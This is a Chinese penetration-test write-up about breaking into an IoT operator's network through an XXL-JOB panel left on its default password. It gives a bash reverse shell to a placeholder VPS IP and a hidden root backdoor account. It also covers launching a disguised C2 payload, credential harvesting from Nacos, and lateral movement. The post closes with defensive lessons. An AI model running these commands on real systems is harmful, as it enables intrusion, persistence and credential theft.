实战复盘：利用XXL-JOB默认口令获取Shell权限与内网横向移动

外网打点

一个看似普通的开局，又是一个登录框，初步判断是某个物联网（IoT）管理系统的入口。

首先尝试搜索公开漏洞库，看看有没有已知的Nday可用，结果并不理想。没有Nday就没办法了吗？当然不是。于是开始常规测试，尝试弱口令、前端逻辑绕过、SQL注入万能密码等手法。

结果发现，这次还真有点棘手。尝试登录时，系统直接返回“未知系统错误”，提示联系管理员。后端用于获取验证码的接口似乎存在异常，导致整个登录流程无法继续。即使你手握正确的账号密码，也会卡在验证码这一步。这种情况通常是因为系统曾遭受攻击，开发人员可能为了快速“修复”或不知如何彻底修复，索性禁用了验证码功能，类似的情况在一些若依等开源系统中也遇到过。

难道这就束手无策了？当然不是。随即对前端API接口、HTML源码、JS文件进行了一轮审计，试图寻找突破口，可惜仍旧一无所获。

当常规路径受阻时，扩大攻击面是常用策略。于是开始进行目录扫描和端口扫描，希望能发现新的入口。使用工具进行目录扫描，除了跳转到登录页的302响应外，没有其他发现。正准备放弃时，决定最后再扫一下端口。

转机出现了！端口扫描结果显示，目标开放了9090端口。访问该端口，发现是XXL-JOB分布式任务调度中心的管理界面。这是一个非常熟悉的攻击面，存在多个已知的远程代码执行漏洞。

与XXL-JOB相关且可导致RCE的已知漏洞主要包括：

• XXL-JOB API未授权Hessian2反序列化漏洞 (影响版本 <=2.0.2)
• XXL-JOB Executor未授权访问漏洞 (影响版本 <=2.2.0)
• XXL-JOB SSRF漏洞 (影响版本 <=2.3.1)

首先需要确认版本。通过查看网页源代码，搜索关键词 admin_version。

发现版本为2.4.1-SNAPSHOT，高于上述RCE漏洞的影响版本，无法直接利用。

但这并不意味着结束。熟悉XXL-JOB的同行都知道，其默认的管理员账号密码是 admin/123456。尽管版本较高，但如果管理员未修改默认口令，我们依然可以进入后台，而后台功能本身就提供了命令执行的能力。

幸运的是，默认口令竟然生效了，成功登录后台。

GetShell

进入后台后，思路很明确：利用其创建并执行Shell脚本任务的功能来反弹Shell。

首先，在“任务管理”中新增一个任务。

关键配置如下：

• 运行模式：选择 GLUE(Shell)。
• Cron表达式：设置为 0 0 0 * * ?，代表每天午夜执行（此处仅为示例，实际可根据需要调整）。
• 其他信息按需填写。

保存任务后，点击该任务对应的“GLUE IDE”按钮，进入脚本编辑器。

在编辑器中，写入反弹Shell的命令。

脚本内容为：

#!/bin/bash
/bin/bash -i >& /dev/tcp/11.111.11.111/1234 0>&1

（注：11.111.11.111 需替换为你的VPS公网IP）

在VPS上使用Netcat监听1234端口：

nc -lvvp 1234

在XXL-JOB任务管理界面，手动触发一次该任务的“执行”，成功接收到反弹的Shell连接。

非常好，直接获取了root权限，省去了提权步骤。

权限维持

为了防止通过XXL-JOB建立的连接被中断后发现，需要建立一个更隐蔽的后门账户。

添加一个具有root权限的后门用户：

useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0 -g root -G root -s /bin/bash -d /system

（命令中的 password 应替换为强密码）

之后便可以通过SSH使用 system 用户和设定的密码进行连接，连接时可根据需要配置代理。

使用新创建的后门用户成功连接SSH。

查看服务器性能配置，发现是一台配置不错的机器。

上线C2

为了便于后续的内网渗透操作，将这台主机作为节点上线到C2（命令与控制）平台。

在C2平台创建一个反向TCP监听器。

生成适用于目标系统（Linux x86_64）的Stageless载荷。

将载荷上传到目标服务器，并重命名为一个看似正常的文件名，例如 bak。

赋予执行权限并以后台方式运行：

chmod +x bak
nohup ./bak > nohup.out 2>&1 &

稍等片刻，目标主机成功上线C2平台。

代理

上线C2后，为了便捷地访问内网资源，通过C2节点建立一个Socks5代理隧道。

在本地攻击机上使用Proxifier等工具配置全局代理，指向该Socks5隧道，即可通过此代理访问目标内网。

信息收集

建立代理后，开始对当前主机及所在网络进行深入信息收集。

上传内网扫描工具，扫描当前网段存活主机，发现大量活跃IP，记录下来供后续详细扫描。

检查当前主机运行的Docker容器，发现运行了非常多的服务，包括Nacos、Redis、MySQL、Kafka、ZooKeeper、RocketMQ等。

其中MySQL服务是以Docker容器形式运行的，这意味着可以直接进入容器执行命令，从而轻松获取数据库权限。也可以通过查找Docker的配置文件来获取数据库密码。

定位到MySQL服务的 docker-compose.yml 配置文件所在目录。

查看配置文件，成功找到了数据库的用户名和明文密码。

数据库

使用获得的密码，成功以root用户身份连接MySQL数据库。

查询数据库列表，发现共有16个数据库，其中包括配置中心Nacos的数据库 nacos。

接下来，利用已建立的代理通道，向目标主机上传免杀的综合扫描工具，对之前发现的存活C段IP进行漏洞扫描。

扫描结果显示大量存活主机，并发现了丰富的资产和多个漏洞。

获取权限

根据扫描结果，开始逐一获取各类组件的控制权限，这个过程宛如“捡垃圾”，收获颇丰。

Nacos权限

访问扫描发现的Nacos地址，存在未授权访问漏洞，可以直接查看用户列表，看来已有“前人”光顾过。

利用未授权接口直接创建一个新用户，登录后查看配置管理，发现10条配置信息，里面包含了大量敏感数据。

各类服务凭证泄露

通过查看Nacos中的配置信息，接连发现了大量明文存储的账号密码和密钥：

• MySQL权限：数据库连接密码。
  
• Redis权限：Redis服务密码。
  
• Elasticsearch权限：ES集群用户名和密码。
  
• FTP权限：FTP服务器账号密码。
  
• 第三方短信平台权限：短信API的UserKey和ApiKey。
  
• TDengine权限：时序数据库密码。
  
• Kafka权限：Kafka SASL认证用户名密码。
  
  
• 地图API权限：百度地图AK和谷歌地图API Key。
  
• IoT设备平台权限：厂商API的AccessKeyId和AccessKeySecret。
  
• OSS对象存储权限：阿里云OSS的AccessKeyId和AccessKeySecret。
  
  
  
  使用泄露的OSS AK/SK成功登录OSS浏览器，可以管理存储桶和文件。
  
  
• 阿里云短信权限：短信服务的AccessKeyId和AccessSecret。
  

其他未授权/配置泄露

• RocketMQ权限：Dashboard存在未授权访问。
  
• Kafka/ ZooKeeper权限：发现服务端的JAAS配置文件，内含明文密码。
  
  
  
• Memcached权限：Memcached服务未授权访问，可读取缓存数据。
  
  

横向移动

最令人意外的发现来自于对C段的深入扫描。扫描结果显示，几乎整个C段下的每一台主机都部署了XXL-JOB系统。更令人惊讶的是，经过手动测试，这些XXL-JOB系统清一色地使用了默认口令 admin/123456。

以下是其中几台主机的登录验证（IP已模糊处理）：

• 61 主机XXL-JOB登录界面（使用默认口令）：
  
• 31 主机XXL-JOB登录界面（使用默认口令）：
  
• 209 主机XXL-JOB登录界面（使用默认口令）：
  

使用与最初相同的方法，在这些主机的XXL-JOB后台创建任务执行反弹Shell，无一例外都获得了root权限。

凭借这次运气和自动化扫描工具的辅助，成功获取了几乎整个C段主机的控制权。实际上，扫描还发现了大量其他Web系统及其漏洞，但由于通过代理进行内网访问的速度极不稳定，操作体验很差，因此没有继续进行更深入的利用。

小结

本次渗透测试过程并没有使用特别高级的技巧，核心突破口在于目标系统使用了XXL-JOB的默认弱口令，并通过该入口实现了权限获取与内网横向移动。整个内网环境中存在大量的配置信息泄露和默认口令问题，安全状况堪忧。

这再次警示我们，在安全建设中最基础但也最致命的两点：

1. 及时修改默认密码：尤其是对外提供服务的开源中间件、管理平台。
2. 妥善保管敏感配置：切勿将数据库密码、API密钥等敏感信息明文存储在代码或配置中心，应使用安全的密钥管理服务。

本文旨在提供一个基于常见漏洞进行渗透测试的实战案例复盘，供安全研究人员和技术爱好者参考，共同重视基础安全防护。在云栈社区，你可以找到更多关于安全研究、漏洞分析和防护方案的深度讨论。